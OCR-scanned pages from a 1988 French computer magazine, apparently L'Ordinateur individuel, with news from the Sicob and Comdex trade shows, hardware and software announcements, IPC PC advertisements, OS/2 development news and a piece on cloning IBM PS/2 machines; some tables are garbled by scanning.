Le premier DAT 
Informatique fait son 
entrée en France sous le 
label Hitachi. D'une 
capacité de 1 Go 
(60 m de bande), 
leDATMass 

Storage System présente 
un temps d'accès moyen à 
l'information de 20 set 
une vitesse de transfert 
des données de 1 33 Ko/s. 
Tauxd'erreurde 10 IS . Il 
sera commercialisable cet 
automne au prix de 
33 000Fht avec une 
interface SCSI (comptez 
70 F par cassette). Hitachi 
compte vendre 
400 000 unités dans le 
monde cette année. 

Décidément très en forme, 
Tandy se vante lors du 
Sicob d'avoir mis au point 
un CD effaçable. 
Présentant une 
compatibilité ascendante 
avec les disques compacts 
traditionnels, le THOR-CD 
[pour Tandy Highlntensity 
Oprical Recorder Compact 
Disc) pourrait voir le jour 
dans un an et demi en 
version audio (prix 



inférieur à 500 $) et dans 
deux ans et demi en 
version ROM. Ses 
performances sont jugées 
« dramatiquement 
bonnes », Rappelons que 
Philips et Sony ont 
annoncé l'automne 
dernier des CD- 
Audio/ROM wrîte once 
pour la fin 89. 

26 avril 

L'écran pleine page pour 
Atari est enfin une réalité. 
Microvision propose un 
modèle 1 6" (dit A4) etun 
1 9" (dit A3). Chacun d'eux 
comprend une carte et un 
logiciel développé par 
Dominique Laurent 
(l'auteur du Rédacteur). 
Compatibles avec tous les 
grands logiciels pour ST, y 
compris ceux de mise en 




pages, les écrans 
Microvision sont vendus 
respectivement 
11 400Fhtet 
14 900 Fht. 
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RETRO, FLUO, TURBO 




Annoncé peu avant le 
Sicob (cf. L'Oi a" 103 

p. 33), le Goupil Golf était 
sans doute l'un des produits 
les plus novateurs visibles à 
Villepinte. Ce portable non 
autonome réunit les caracté- 
ristiques d'un AT haut de 
gamme de bureau dans une 
mallette pesant environ 
7 kg ; processeur 80286 à 
10 MHz, mémoire de 
640 Ko extensible à 
4,6 Mo, un lecteut 1,44 Mo 
sur 3°l/2, un disque dur 
allant de 40 Mo à 100 Mo, 
un clavier étendu de 102 
touches et un affichage 
VGA. Bref, tout ce dont un 
utilisateur de micro peut 
souhaiter disposer à tout 



Ajoutons à cela un nouvel 
écran plat affichant 
640 points sur 480 et sup- 
portant donc le mode VGA. 
Un tel écran est une pre- 
mière. Il utilise deux astuces 
technologiques. D'une part, 
un écran double Supertwist 
(deux couches de cristaux 
liquides), développé par 
Sharp au Japon, petmet un 
excellent contraste (rapport 
de 20 sur 1). D'autre pan, le 
rétro-éclairage est assuré par 
des petits tubes néons fluo- 
rescents. Cette technique dé- 
nommée Cold Cathod Fluo- 
rescent Tube assute une 
durée de vie de 15 000 à 
20 000 heures d'utilisation 
contre 3 000 heures pour les 
électroluminescents classi- 



ques. Les petits tubes néces- 
sitent une tension de 
1 000 V pour fonctionner, 
La consommation tourne 
autour de 3 W, équivalente 
en cela au rétro-éclairage 
courant. Cet écran VGA sera 
disponible dès septembre 
prochain au prix de 
7 000 F ht. L'unité centrale 
sans écran équipée d'un dis- 
que de 40 Mo vaut 
25 700 Fht. 

Zenith vient elle aussi 



d'adopter ce mode de rétro- 
éclairage par tubes fluores- 
cents sur son Turbosport 
386, premier portable auto- 
nome basé sur un 80386 
(bridé à 12 MHz) à être 
commercialisé. 

Chez Goupil, on pense 
que la technologie * fluo > 
va s'imposer dans les deux 
ans. Elle pourtait supplanter 
1 électroluminescent et le 
plasma. 

A.S. 



)CE : LA PAO EUROPEENNE 



UN PORTABLE THOMSOI 



Thomson renoue avec 
l'informatique grand public. 
En avant-première pour la 
presse était dévoilé au Sicob 
le prototype d'un otdinateur 
baptisé provisoirement 
CPC2, un portable non au- 
tonome d'un format et 
d'une appatence proches de 
ceux de I Amstrad portable 
PPC 512. Un processeur 
8088 à 9,54 MHz anime 
cet ordinateur destiné princi- 
palement aux marchés étu- 
diant et familial. La mé- 
moire vive de 512 Ko 
s'étend jusqu'à 1,5 Mo. La 
mémoite de masse est assu- 
tée par un ou deux lecteurs) 
de disquettes de 720 Ko au 
format 3° 1/2. Un disque 
dut externe de 20 Mo peut 



être ajoute en option. 

L'adaptateur d'affichage 
supporte le CGA couleur 
étendu (215 couleurs), mo- 
nochrome et le mode Hercu- 
les. L'EGA est optionnel. 
Pour favoriser le côté trans- 
portable, un écran plat à 
cristaux liquides (lisible) est 
disponible ainsi qu'un sac de 
transport. Curieusement, le 
prototype ne dispose pas de 



Le prix est estimé pour 
l'instant à 4 000 F ttc pour 
l'unité centrale avec un lec- 
teur et un adaptateur vidéo, 
mais sans affichage. Des pro- 
motions pour les étudiants et 
lots des fêtes de Noël sont 
envisagées. 

A.S. 



• 
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Grand spécialiste des co- 
pieurs, Océ présentait au 
Sicob une station de PAO 
complète, l'Océ 9000, fabri- 
quée entièrement en Europe. 
Ce dernier point est suffi- 
samment rare pour qu'on le 
souligne. L'ensemble fonc- 
tionne aussi bien en mono- 
poste qu'en réseau. Il 
comprend une unité centrale 
avec 1 Mo de RAM en 
standard archirecturée au- 
tout d'un processeur 80286. 
L'écran pleine page noir et 
blanc peut être partage en 
deux parties. En bas de 
l'écran, l'utilisateur travaille 
avec un traitement de texte 
intégré à la machine et acces- 
sible en pet manence. Dans le 
haut, il peut émuler n'im- 




porte quel programme sous 
le système MS-DOS. L'Océ 
9000 est livré avec un scan- 
ner et une imprimante laser 
atteignant l'un et l'autre une 
résolution de 300 points au 
pouce. Le cœur de la laser 
n'est pas d'origine japonaise, 
mais bien hollandaise. 

Le clavier, particulière- 
ment ergonomique, 
comprend un pavé avec 14 
touches de fonction dédiées 
et 8 touches redéfinissables 
par l'utilisateur. L'ensemble 
est fourni indifféremment 
avec un ou plusieurs lec- 
teurs) 5" 1/4, 3"l/2 ou 
même 8". Océ propose les 
logiciels Ventura ou Page- 
maker pour travailler avec 
cette station. Le prix moyen 
de cet ensemble PAO, scan- 
ner, disque dur et impri- 
mante laser compris, s'élève 
à 85 000 Fht. 

Océ a par ailleurs déve- 
loppé une autre imprimante 
laser (modèle 6750) dont la 
résolution atteint 500 points 
au pouce et qui était présen- 
tée pour la première fois en 
France. j.LLB. 



DEMANDEZ LE PROGRAMME 






Voici l'état réel das disponibilités s. - =.'Tk:; :■:■:■: K:r ■■.■: ■ ■■'!: 


'occasion du Sicob. 




Éditeur 


Disponibi- 


Disponibilité version 






lité version 


rrançorse 


1-2-3 Mac 


Lotus 


En projet 




1-2-3 version 3 






Novembre 




Lotus 


Juillet 




DBose 4 






Octobre 


DBase Mac 


Ashton Tate 


Disponible 


Disponible 


Excel 2 Mac 


Microsoft 


En projet 


En projet 


Excel PC 




Diîp:;nib:9 


Disponible 


Modem Jazz 




Juin 


Juillet 










Sidekick Plus 






Octobre 






Mai 


D=r ; r,-nleversionl.l 


Turbo- Pascal 4.0 


Borland 


D, soc-.. oie 


Juin 


Word4 version réseciu 


Microsoft 


Juin 


Juin 


Word Perle et 5.0 


Wo'rlFerîsc; 


Mai 




WordPerfect Moc 1.0 


VfcdFsrfs.-.r 


Kraanible 


Septembre 


Works PC 


Mcosoli 


DsyiïiOlo 


Disponible 


Cesàifo/moticsttaitétiree 


-,-., :'-.-'-. : ;. 







27 avril 

3Com est un leader 
encore discret, il domine le 
marché des réseaux 
locaux Ethernet et Token 
Ring, l'inondant de 
serveurs, d'adaptateurs et 
de logiciels spécialisés. Au 
Sicob, il était le seul 
exposante présenter une 
démonstration en réseau 
d'OS/2, soumettant pour 
la première fois au visiteur 
le look de l'interface- 
utilisateur IBM SAA. Le 
produit a pour nom 3+ 
Open(v. p. 13). 

Idée lancée au sommet de 
Québec en septembre 
1987, la Voix de 
l'informatique 
francophone (Vif) estnée 
officiellement dans le 
cadre du Sicob. Elle réunit 
les associations belges, 
canadiennes et françaises 
d'utilisateurs (Afin, Afcet, 
etc.). Parmi ses objectifs 
figurent la création d'un 
répertoire des logiciels 
francophones et des 
travaux visarttà 
normaliser les claviers. 

28 avril 

Softsel succède à La 
Commande Electronique 
en tant qu'importateur 
exclusif pour la France des 
cartes d'extension- 
mémoire, cartes 
accélératrices et 
coprocesseurs pour PC, AT 
et PS fabriqués par Intel. 
Les raisons de ce 
changement de 
partenaire ? D'une part, 
l'activité vente directe de 
LCE qui mécontentait les 
revendeurs, d'autre part, 
la priorité accordée par 
LCE à ta diffusion d' Ashton 
Tate au détriment des 
autres produits de sa 
gamme selon Intel. 
Joyau des cartes Intel : la 
toute nouvelle carte 
lnboardPC386qui 
transforme tous les PC/XT 
8088 équipés d'un DOS 
2.0 ou supérieur (ils sont 



500 000 en France) en un 
PC386/16MHz.Outrele 
processeur 32 bits, elle 
comporte une RAM 
additionnelle de 1 Mo 
extensible à 3 Mo et un 
emplacement 
coprocesseur 
arithmétique 80387. 
L'augmentation de vitesse 
est évaluée à un 
facteur 1 0. Prix : 
8 000 F ht. 



Très attendu depuis son 
annonce américaine, le 
tableur DOS Lucid 3D sera 
distribué en France par 
Software Technologies . 
Version américaine 
disponible (1 500 F ht). La 
version française devrait 
être prête en septembre 
( cf. test en p. 5 î). 



30 avril 

Le Sicob referme ses 
portes sur une 
fréquentation de 194 808 
visiteurs (contre 1 75 600 
en 1 987), très proche de 
la prévision la plus 
optimiste des 
organisateurs. La journée 
du jeudi 28 avril, avec 
48 700 visiteurs, a même 
permis au Sicob d'établir 
un nouveau record de 
fréquentation sur une 
journée pour le porc de 
Paris-Nord-Villepinte, 
toutes manifestations 
confondues. Prochain 
rendez-vous fixé pour les 
1 9-24 septembre à Poris- 
Le Bourget pour un Sicob 
spécial micro combiné 
avec les premières Assises 
de la distribution 
informatique 
professionnelle. Une 
façon pour le Sicob de 
garder une présence en 
automne d'autant 
qu'après de nouvelles 
extensions du parc de 
Villepinte, il n'est pas exclu 
que le grand Sicob soit à 
nouveau organisé en 
septembre à partir de 
1990. 
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ACTUALITES 



Que peut-on faire avec un Organiseur II? 
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La journée organisée par 
L'Ordinateur individuel sur 
le thème des systèmes ex- 
perts dans l'entreprise a été 
l'occasion d'éclairdr certains 
aspects encore trop brumeux 
de l'intelligence artificielle. 
Cinq générateurs de systè- 
mes experts ont été présentés 
dans le détail et des applica- 
tions pratiques ont été mises 
en avant. Il s'agissait de 
montrer que l'IA n'est plus 
un concept éthéré, mais bien 
une nouvelle technologie qui 
trouve sa place dans les en- 
treprises. Frank Giami (Ise 
Cegos) a montré les avanta- 
ges de Guru : traitement de 
texte et tableur intégrés. Il a 
présenté l'application Crédit 
Manager, un SE d'aide à la 
décision financière. Laurence 
Joint (CSI) et Essoukan 
Mouangue (Mindsoft) ont 
parlé avec enthousiasme et 
brio de Nexus, système hy- 
bride qui mélange habile- 
ment le raisonnement et la 
programmation procédu- 
rale. Ils ont ptésenté un sys- 
tème de reconnaissance du 
bois et un système de dia- 




gnostic médical couplé avec 
un vidéodisque. Jean-Pierre 
Carsaiade (GSI Tecsi), lors 
d'une démonstration claire 
et pragmatique, a construit 
un petit exemple de SE avec 
Intelligence Service IL 

Il a également mis en 
avant deux applications pra- 
tiques : Joséphine, une aide à 
la décision écrite spéciale- 
ment par la société Arcane 
pour la Banque de Bretagne, 
et un système de diagnostic 
de panne pour les autocom- 
mutateuts téléphoniques. 
Patrick Landry (Inteliia) a 
montré les capacités graphi- 



r Macin- 



ques de Nexpert ; 
tosh II en insistant sur sa 
particularité à représenter les 
connaissances sous forme de 
règles ou d'objets. Plusieurs 
applications ont été évo- 
quées : aide à la décision de 
financement, maquette de 
surveillance d'une usine 
chimique et diagnostic de 
panne pour les satellites. 

Enfin, Hervé Meymy 
(ACT Informatique) s'est 
attaché à démontrer l'ergo- 
nomie de l'Experkit II sur 
Macintosh ainsi que les 
avantages à travailler en en- 
vironnement Le-Lisp. Il a 



présenté un SE utilisé par la 
Compagnie générale des 
eaux pour l'analyse et le 
traitemenr des eaux usées 
industrielles et une simula- 
tion de la gestion de robots 
dans un atelier. 

Au terme de cette journée, 
un débat a réuni tous les 
intervenants. Ils convinrent 
que la classification des mo- 
teurs d'inférence suivanr 
l'échelle 0, 0+, 1 et 1 + 
n'avait pas grande significa- 
tion. Il leur paraît plus logi- 
que de dire que certains systè- 
mes experts seulemenr peu- 
vent gérer des règles conte- 
nant des variables. Les parti- 
cipants ont noté les produits 
sur leur puissance, leur convi- 
vialité, la facilité de créer un 
SE et sur la qualité des inter- 
venants. 

Finalement, Intelligence 
Service (14,05) l'emporte 
d 'une courte tête sur Nexpert 
(13,97) devant Nexus 
(13,1), Guru (12,95) et 
l'Experkit II (12,17). Une 
arrivée dans Lin mouchoir de 
poche... 

J.I..I..B. 



L'ECRITURE ELECTRONIQUE 



Une cinquantaine de per- 
sonnes ont participé aux 
Ateliers comparatifs du logi- 
ciel consacrés aux traite- 
ments de texte sur PC sous 
l'égide de L Ordinateur indi- 
viduel, de Temps Mao et 
de Décision Informatique. A 
cette occasion, six program- 
mes ont été présentés : Word 
4, Sprint, WordStar 2000, 
Textor 4, Visio 4 et "Word- 
Perfect. Chacun des interve- 



nants devait réaliser en direct 
et en cinquante minutes au 
maximum un document de 
mailing. Il s'agissait de mêler 
des fonctions de mise en 
pages et de calcul, et de tester 
.ci capacités de ces logiciels à 
importer des données (des 
noms et des adresses) à partir 
de fichiers extérieurs. C'est 
Word 4 qui a le mieux tiré 
son épingle du jeu si l'on en 
croit les notes attribuées par 



les participants. En fin de 
journée, ils ont noté les pro- 
duits de à 20 pour la 
puissance de leurs fonction- 
nalités, leur facilité d'utilisa- 
tion et leur rapidité d'exécu- 
tion. Les notes globales sont 
les suivantes : 16,4 pour 
Word 4, 14,5 pour Sprint, 
13,6 pour WordStar 2000, 
13pourTexror4, I2,4pour 
Visio 4 et 12 pour Word- 
Perfect. 



4 mai 

Jean-Louis Gassée, vice- 
président d'Apple, vend 
60 250 actions Apple 
pour 2,7 millions de 
dollars. Ces titres avaient 
été acquis en juillet 1 987 
pour 467 000$. 
Robert Shostak, 
cofondateur de Ansa et 
auteur du logiciel 
Paradox, quitte Borland 
(maison mère d'Ansa 
depuis août 1987) où il 
occupait lo fonction du 
Chief Scientist. 
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IPlonbier: MARTIN II 
Ul. 47:29756.5-: | | 



1 - On peut stocker adresses, n oî de 

téléphones, notes, prix, etc. Il les 

retrouve instantanément (tapez kovs 

pour retrouver Tchaïkovsky par exemple. 



I|rii+3.6*SIN(PI.'4)|| 
[ =2,54558441227 



4 - On peut le taire calculer. Précision 

à 12 chiffres. 10 mémoires. Fonctions 

scientifiques et tinancières. Fonction 

de simulation. 




7 - On peut simuler. Avec 

Spreadsheet, un tableur compatible 

Lotus 1.2,3. Vous pouvez récupérer des 

tableaux Lotus et les avoir dans la poche. 



10 -On peut gérer des fichiers. Avec 
FilePak, sans programmer, vous 

pourrez créer vos propres masques 
de saisie, imprimer des états, etc. 



Aware 



e Le Peletier 75009 Paris - Tél. 45 23 21 12 




2 - On peut le faire sonner. 

Ses 8 alarmes pourront vous réveiller 
tous les matins. Et il occupera 

moins de place dans votre poche. 




5 - On peut lui rajouter de la mémoire. 

Jusqu'à 256 K. Avec ça vous pourriez 

stocker tous vos clients, vos 

références. Tout, dans la poche. 



IIclsïFrinV'Uoulezii 



8 - On peut le programmer. Il dispose 

en standard d'un langage évolué 
I BASIC procédural) avec plus de 50 
fonctions. Et il est rapide. Très rapide. 




1 1 - On peut lire des codes à 
C'est enfantin. : il suffit de rajouter Ié 
crayon. Il lit les codes les plus 
courants et il les stocke dans sa 



[oCTiliïSPITï 11.36 II 
| T-DUPIC chez Kfl || 



3 - On peut noter ses rendez-vous. 

Il se réveille tout seul dès rapproche 

d'un rendez-vous ; il 'bip' et vous 

affiche qui, quand et où. 




6 On pei.t le connecter a 
ordinateur Pour lêccs'ui d<; 
fichiers, des raniodjx "nu- le 
Imprimer n accepte tout 




- On peut l'< 

Développeur et un IBM PC ou 

compatible. Comme ça, on peut le 

programmer sur un grand écran, avec 

un clavier azerty, tester et débugger 

ses procédures. 

12 - On peut lui faire plaisir. En lui 

offrant une sacoche pour le protéger, 

en cuir véritable. Rien n'est trop beau 

pour lui. 
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ACTUALITES 



LA MACWORLD AVANT L'HEURE 




La Macworld d'Amster- 
dam (9- 1 1 mai) avait des 
allures de répétition avant la 
grande cérémonie de Boston 
(au mois d'août) et celle 
d'Apple Expo (fin septem- 
bre). Quelque 150 expo- 
sants s'étaient déplacés, mais 
aucune nouveauté n'a dé- 
I rayé la chronique. En revan- 
che, de nombreux produits 
étaient présenrés en « béta 
version >. Informix, venu en 
force, montrait une version 
de Wingz beaucoup plus 
proche du produit final que 



celle que nous avions pu voir 
à San Francisco. Si les quel- 
ques bogues qui parsemait 
encore ce programme sont 
deimicivemenr chassées cer 
été, Wingz sera le tableur le 
plus révolutionnaire sur Mac 
depuis Excel. Adobe présen- 
tait Illustrator 88, mais il 
faudra également attendre 
l'été pour en disposer. Letra- 
set, qui cherche à s'imposer 
dans le domaine des outils 
graphiques performants sur 
Mac, avait Letra-studio 
dans sa musette. Cet outil 



SICOBIEN QUI ES-TU? 



Pour mieux cerner la per- 
sonnalité de ce visiteur, 
L'Ordinateur individuel a 
demandé à la société MForm 
une enquête exclusive réali- 
sée dans les allées du Sicob 
auprès d'un échantillon si- 
gnificatif (942 personnes). 
Ce qui a attiré à Villepinte le 
sicobien moyen, c'est 
d'abord le matériel informa- 
tique (47 %) loin devant les 
logiciels et services (27 %), 
les télécom (20 %) et le mo- 
bilier de bureau (3 %). Le 
visiteur (ou son entreprise) 
est équipé prioritairement 
d'ordinateurs IBM (38 %) 
Bull (14%), Apple (11%)' 
Digital (8%), Victor (8%), 



Amstrad (5 %), Zenith 
(5%), Olivetti (4%), Atari, 
HP et Compaq (3 %). A 
l'issue de sa visite, il cite 
comme stands les plus re- 
marquables ceux de Unisys, 
de Victor, des télécom, 
d'Amstrad, d'Apple, de 
Canon, de Microsoft et 
d'IBM. 

En ce qui concerne les 
nouveaux produits, les ordi- 
nateurs portables, dBase 4, 
les imprimantes à laser ont 
retenu particulièrement son 
attention dans la perspective 
d'un prochain achat. La 
PAO, les PS/2, l'archivage 
sur disque optique et les 
scanners l'ont également sé- 



manipule les caractères et est 
accompagné d'une librairie 
de 100 polices extraites du 
célèbre catalogue. Les 1 000 
fontes bien connues des ma- 
quettistes seront progressive- 
ment transférées sous 
Macintosh. 

Toujours dans le domaine 
graphique, le logiciel Gra- 
phistPaint d'Adone était 
couplé à une carte d'acquisi- 
tion travaillant à la vitesse de 
15 images à la seconde. Des 
négociations sont en cours 
avec Lerraset pour son ra- 
chat. Enfin, la société améri- 
caine Optical Media Inter- 
national annonçait 
MacTopix, la première sta- 
tion complète de développe- 
ment de CD-ROM pour 
Mac. Elle est composée d'un 
disque dur de 76 1 Mo, d'un 
lecteur magnétique à 9 pistes 
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duit, mais sont considérés 
comme des produits en 
phase de maturité. Ils susci- 
tent encore un certain scepti- 
cisme. 

Enfin, à la question : 
< Quel constructeur ou édi- 
teur a motivé en priorité 
votre visite au Sicob ? » IBM 
(27 %), Apple (8 %), Mi- 
crosoft (6 %), Victor (6 %), 
Compaq (3 %) et Bull 
(3 %) rallient le plus de suf- 
frages. 

Enquête complète dispo- 
nible auprès de Jean-Chris- 
tian Millancourt, MEorm, 
130, rue de Javel, 75015 
Paris; tél.: 45 54 70 65. 

M.B. 



et d'une série d'utilitaires 
pour produire des program- 
mes CD-ROM à la norme 
ISO/DIS 9660. En clair, 
cette station permet la pré- 
paration complète des don- 
nées avant la gravure du 
CD-ROM. 

J.-L.L.B. 

9 mai 

Xerox annonce son 
intention d'acquérir la 
firme américaine 
Datacopy, l'un des 
leaders américains sur le 
créneau du scanner. 
Par ailleurs, Xerox 
indique dans le cadre du 
Comdex Sprinq d'Atlanta 
que son logiciel de PAO 
Ventura [sous Gem) peut 
désormais récupérer des 
fichiers Windows. 
Maxtor met sur le 
marché toute une famille 
de disques optiques 
3"1/2(160 Mo) et5"1/4 
(1 Go) effaçables 
interfaces SCSI. 
Nec introduit sur le 
marché américain ses 
lecteurs de CD-ROM. 
Deux kits d'interfaces 
sont disponibles, l'un 
pour machines DOS 2.0, 
l'autre pour Macintosh. 
Premières livroisons en 
août. 

Cordata dévoile au 
Comdex Spring le WPC 
Bridge, une machine 
hybride biprocesseur à la 
fois PC et Apple II. 

Î7mas 

GiancarloZanni (ex 
Thomson-CSF activités 
militaires) est nommé 
directeur général 
d'Apple France. Il 
succède à Jean Calmon, 
chargé de nouvelles 
responsabilités au sein 
d'Apple Europe. 






Cette publicité 

s'adresse en priorité 

aux professionnels 

du scepticisme. 



LE SAVIEZ-VOUS 

A qualité égale tous les micros sortent d'usine au même prix ! 

Par le jeu des marges en cascade et des intermédiaires, l'utilisateur 

final les paie jusqu'à 2 fois et demie ce prix. 

Les compatibles ipc AT 236 et 386 sont vendus en direct. 

Avec une marge réduite. 

La micro-informatique IPC s'est imposée aux Etats-unis et en Europe 

grâce à la qualité de ses produits et au sérieux de ses distributeurs. 

En France, IPC a choisi systec. Pour son expérience et son 

aptitude à répondre aux exigences légitimes des utilisateurs. 

vendre en direct c'est prévoir et organiser les livraisons 

en fonction des configurations commandées. 

Et dans les temps les plus courts. 

Tout a été prévu dans ce sens. Les commandes sont transmises 

quotidiennement par télécopieur à IPC (capacité de production 

1 200 micros/jour) qui effectue une expédition 

hebdomadaire par avion cargo Singapour/Paris. 

C'est aussi cela le direct. 
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L'INFORMATIQUE 
EN DIRECT 



UN OS/3 EN PRÉPARATION 

POUR LES MACHINES 

A BASE DE 386 

Microsoft prépare activement une nouvelle version de I'OS/2 . L'éditeur l'a clairement 
confirmé lors d'une conférence organisée dans le cadre du Comdex Spring. 



« Nous travaillons actuel- 
lement sur une nouvelle ver- 
sion d'OS/2 destinée aux 
machines à base de 386 >, a 
affirmé le représentant de 
Microsoft lors d'une table 
ronde organisée dans le cadre 
du Comdex d'Atlanta sur les 
applicarions et l'évolution 
d'OS/2. < Des .outils de 
développement seront dis- 
ponibles courant 89, a-t-il 
précisé. Cet OS tirera pleine- 
ment parti des capacités 
d'adtessage en mémoire vir- 
tuelle du 386. > Un OS que 
tous les commentateurs ont 
déjà baptisé OS/3 puisqu'il 
sera aux 386 ce que l'OS/2 
estauxPC286. 

On comprend mieux dès 
lors pourquoi Microsort ne 
sourient que mollement le 
remarquable Windows 386. 
Mais il faut regretter que 
l'éditeur d'OS/2 et son par- 
tenaire IBM n'aient pas anti- 
cipé la baisse des prix des 
386 et leur pénétration ra- 
pide sur le marché (on pré- 
voit l'installation de 
900 000 PC 386 en 1988 
contre 300 000 en 1987). 
Une certaine incertitude a 
ainsi plané sur l'avenir de 
l'environnement logiciel de 
cette machine. Aujourd'hui, 
avec la perspective de la dis- 
ponibilité d'un OS/3 multi- 
tâche, elle apparaît plus clai- 
rement comme la plate- 
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forme idéale pour le début 
des années quatre-vingt-dix. 
En attendant, « les pre- 
mières applicarions OS/2 
existent bel et bien >. C'est 
ce qu'ont tenté de démontrer 
IBM et Microsoft sur un 
immense stand commun 
- le plus vaste du Comdex- 
Spring. Il abritait 130 logi- 
ciels en démonstration si- 
multanée (sur PS/2), dont 
60 déjà disponibles i précise 
William Lowe, vice-prési- 
dent d'IBM. Parmi ceux-ci, 
on remarquait Agenda de 



Lotus, WordStar 2000 de 
Micropro, WordPerfect, 
RBase, ThinkTank, Guru, 
etc 

Parallèlement, IBM pu- 
blie un répertoire de 300 
applications OS/2 (la plu- 
part tournant avec l'édition 
standard 1.0) et une liste de 
300 carres d'extension réfé- 
rencées MCA. Et ce n'est 
qu'un début puisque IBM 
affirme avoir délivré à ce jour 
plus de 1 250 numéros 
d'identification MCA à 
quelque 280 fabncants. 



De l'utilité de l'édition 
standard, beaucoup doutent 
encore. La barrière des 
640 Ko de mémoire adres- 
sable a déjà été levée par 
l'extension LIM. Win- 
dows 386 offre des fonction- 
nalités plus avancées. Reste 
au aédit d'OS/2 1.0 le 
multitâche. Un atout insuf- 
fisant pour soulever l'en- 
thousiasme des utilisateurs. 

Il en va tout autrement 
pour la version graphique 
1.1 avec Présentation Mana- 
ger qui offrira les mêmes 
performances que Windows 
2.03, elle est maintenant 
promise pout octobre pro- 
chain. Elle servira de support 
à des applications entière- 
ment nouvelles, notamment 
toutes celles exploitant le 
concept de groupe de travail. 
Les éditeurs les plus dynami- 
ques qui disposent depuis 
quelques mois du kit de 
développement déviaient 
présente! les premières dé- 
monstrations de ces produits 
inédits lors du Comdex Fall 
en novembre à Las Vegas et 
commencer à les livrer dans 
le courant du ptemler semes- 
tre 1989- C'est alors que 
prendra vraiment corps 
OS/2, deux ans après son 
annonce, avec les premières 
implantations significatives 
en entreprise. 

MICHEL BARREAU 



Commandez votre IPC en direct 

(Gamme professionnelle AT 286 'et 386) 

et vous aurez le compatible 
le moins cher du marché.* 



UNE COMPATIBILITE OUVERTE 

100 % compatibles, les IPC 
AT 286 et 386 offrent en 

plus la possibilité de 

s'adapter aux nouvelles 

normes du marché. En 

effet, ils sont conçus pour 

recevoir un lecteur de 
disquettes 3" 1/2 assurant 
la compatibilité avec les 
portables et la gamme 
PS/2 3 ' Les IPC sont livrés 

avec MS-DOS* 3.3, 

supportent Xenix*, c-DOS", 

Prologue 5 et accepteront 

le système 

d'exploitation OS/2*. 




CONFIGURATION 



IPC 286 / 02M AT Turbo Compact 80286-8/12 Mhz / 512k RAM / Ports série-parallèle Avec carte type Hercules' et moniteur 14 Diane 
2 floppy 1,2MB / Clavier français 102 touches 
8 îlots d'extension / MS-DOS J 3.3 - GWBasir 



PRIX HT. 
7.910 



IPC 286 / 20M AT Turbo Compact 80286-3/ 12 Mhz / 512k RAM / Ports série-parallèle Avec carte type Hercules- et moniteu r 14" Plane 9.930 
1 floppv 1,2MB / Disque dur 20MB / 3 slots d'extension 



IPC 286 / 20E Clavier français 102 touches / MS-DOS" 3.3 - GWBasir 



Avec carte EGA Paradise et moniteur 14" couleur 1 2.460 



6 / 40M AT Turbo Compact 80286-8/12 Mhz / 512k RAM / Ports série-parallèle Avec carte type Hercules' et moniteur 14' 1 Plane 12.410 

1 floppy 1,2MB / Disque dur 40MB - 38ms / 8 slots d'extension — - - 

. .... H _ ,..„.™.,-, «™„*,i Aveccarte EGA Paradise et moniteur 14 couleur 14.930 



IPC 286 / 40E Clavier français 102 touches / MS-DOS' 3.3 - cWBaslc- 



IPC 286 / 80M AT Turbo Compact 80286-8/12 Mhz / 512k RAM / Ports série-parallèle Avec carte type Hercules' et mo niteur H" blanc 17.180 

1 floppy 1,2MB / Disque dur 30MB - 28ms / 8 slots d'extension 

IPC 286 / E0E Clavier français 102 touches / MS-DOS 1 3.3 - CWBaslc" 



Avec carte EGA paradise et moniteur 14" couleur 19.700 



IPC 386 / 20M CPU Turbo Compact 80386-16 Mhz / 2MB RAM / Ports "série-parallèle Avec carte type Hercules- et moniteur 14" blanc 19.800 
1 floppy 1,2MB / Disque dur 20M8 / 8 slots d'extension 



IPC 386 / 20E Clavier français 102 touches / MS-DOS' 3.3 - GWBasir 



Avec carte EGA Paradise et moniteur 14" couleur 22.320 



IPC 386 / 40M CPU Turbo Compact 80336-16 Mhz / 2MB RAM / Ports série-parallèle Avec carte type Hercules' et moniteu r 14" blanc 22.160 
1 floppy 1,2MB / Disque dur 40MB - 28ms / 8 slots d'extension 



IPC 386 / 40E Clavier français 102 touches / MS-DOS' 3.3 - GWBasir 



Avec carte EGA Paradise et moniteur 14" couleur 25.6 



IPC 386 / 80M CPU Turbo Compact 80386-16 Mhz / 2MB RAM / Ports série-parallèle Avec carte typé Hercules' et moniteur 1 4 blanc 26.950 

1 floppy 1,2MB / Disque dur 80MB - 28ms / 8 slots d'extension 

IPC 386 / 80E Clavier français 102 touches / MS-DOS' 3.3 - CWBaslc" 



Avec carte EGA Paradise et moniteur 14" couleur 29.470 



* A configuration égaie bien entendu 



7, RUE CHARLES FOURIER. 7 



19.01.20- TÉIEX 701 « 



-TËLEFAX-11) 45 B9. 14 03 
■iœ-lKffui-sIpascfifi) 



Msœ^r' ouE 



LES TRIBULATIONS D'UN CLONEUR 

L'un des objectifs d'IBM en introduisant la ligne PS/2 était de reprendre en main le secteur 
tout en conservant une architecture ouverte pour répondre aux voeux des utilisateurs. 



Un candidat à la fabrication d'un clone doit d'abord examine! 
les composants qui sont tegroupés dans l'unité centrale et 
distinguer ceux qui sont propres à IBM de ceux acquis à 
l'extérieur. Sur les PS/2, 70 % du système central est d'origine 
IBM alors que cette proportion était de 30 % à peine sur le PC. 
En outre, à l'encontre des PC, il n'existe pas de schémas 
indiquant les implantations et les caractéristiques des compo- 
sants. 

Beaucoup de ces composants sont des ASIC (composants 
contenant du code et fabriqués sur mesure) dont il faudra 
reproduire les fonctionnalités sans copier le code si l'on ne veut 
pas tomber dans les griffes des juristes d'IBM. A ce jour, trois 
constructeurs se sont aventutés sur ce terrain et ont copié tout à 
fait légalement les principaux ASIC de la carte mère des PS/2 
modèles 50, 60 et 80. II s'agit de Chips & Technologies qui 
annonçait le premier jeu de circuits compatibles MCA (dispo- 
nible depuis avril), Western Digital et Intel. 

Les rechetches du postulant à la fabrication de clones PS ne 
s'arrêteront pas là. Il lui faut écrire (ou acquérir) un Bios A qui 
soit parfaitement compatible avec celui d'IBM. Il devra aussi 
demander une licence à Microsoft pour le Bios C qui, lui, est 
largement disponible comme l'était le Bios de MS-DOS. 

Deux sociétés se sont livrées à ce travail et proposent un 
Bios A, compatible PS/2, entièrement légal : Phoenix Teclmo- 
logies (en collaboration avec Western Digital) et Award 
Software, fournisseur attitré des constructeurs asiatiques de 
clones PC et AT. 

Une fois ces deux étapes franchies, le cioneur PS/2 entre 
dans la phase juridique. II ne pourra en effet échapper à une 
longue et difficile négociation avec IBM. Dans un communi- 
qué publié le 8 avril dernier, cette dernière tappelait qu'elle 
avait mis en place depuis longtemps un dispositif complet de 
protection juridique autour des PS/2. Dispositif dans lequel il 
était toujours possible de tenter sa chance à condition de payer 
